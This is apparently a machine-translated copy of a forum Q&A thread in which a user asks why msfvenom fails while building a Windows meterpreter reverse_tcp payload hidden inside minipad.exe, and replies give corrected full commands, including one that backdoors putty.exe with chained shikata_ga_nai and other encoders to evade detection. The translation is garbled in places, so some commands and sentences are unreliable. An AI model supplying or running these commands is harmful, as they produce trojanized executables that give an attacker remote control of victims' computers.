2015-09-05 20 views
0
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.99 LPORT=8080 -a x86 R |msfvenom -e -t exe -x minipad.exe -k -o minipad123.exe -e x86/shikata_ga_nai -c 8 


Attempting to read payload from STDIN... 

No platform was selected, choosing Msf::Module::Platform::Windows from the payload 

No encoder or badchars specified, outputting raw payload 

Payload size: 299 bytes 

Error: You must select an arch for a custom payload 

架构拱已指定,但错误依然存在错误:您必须选择自定义负载

任何帮助?

+0

为什么有两个调用msfvenom?所有参数都不会满足吗? –

+0

是的,我已经尝试过,但也是徒劳的......如果你觉得任何特定的电话会起作用,请发布语法。谢谢! – RJ7

+0

问题是,用'-c 8'你可能意味着你需要8次迭代,但是你用'-i'开关来做到这一点。 'msfvenom -p windows/meterpreter/reverse_tcp LHOST = 192.168.1.99 LPORT = 8080 - 平台win -a x86 -f exe -o minipad123.exe -e x86/shikata_ga_nai -i8 -k -x minipad.exe'? atleast cmd'msfvenom -p windows/meterpreter/reverse_tcp LHOST = 192.168.1.99 LPORT = 8080 - 平台win -a x86 -f exe -o test.exe -e x86/shikata_ga_nai -i8'为我生成一个有效的可执行文件与'meterpreter/reverse_tcp'有效载荷。此外,您还需要将有效载荷添加到现有文件中? –

回答

0

IN卡利的Linux 2.0萨纳有必要提供信息基于以下甲酸

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai --format=exe > windows.exe 

它是在nessaary 2.0卡利

指定现在运行的代码
变化window.exe编码类型你应该拥有的位置

-1

需要定义模板,并且通过|符号进行管道迭代代msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.7 LPORT=4444 -a x86 --platform win -e x86/shikata_ga_nai -i 4 -f raw |msfvenom -a x86 --platform win -e x86/avoid_underscore_tolower -i 3 -f raw -x '/root/putty.exe' -k -f exe >/root/123.exe 迭代编码次数要小于5!

百度翻译: 您需要定义一个模板,使用“|”符号,毕竟“msfvenom”要定义模板....不要忘记使用前几次格式“raw”,最后一种格式使用“exe”...times≤5... enter image description here enter image description here

相关问题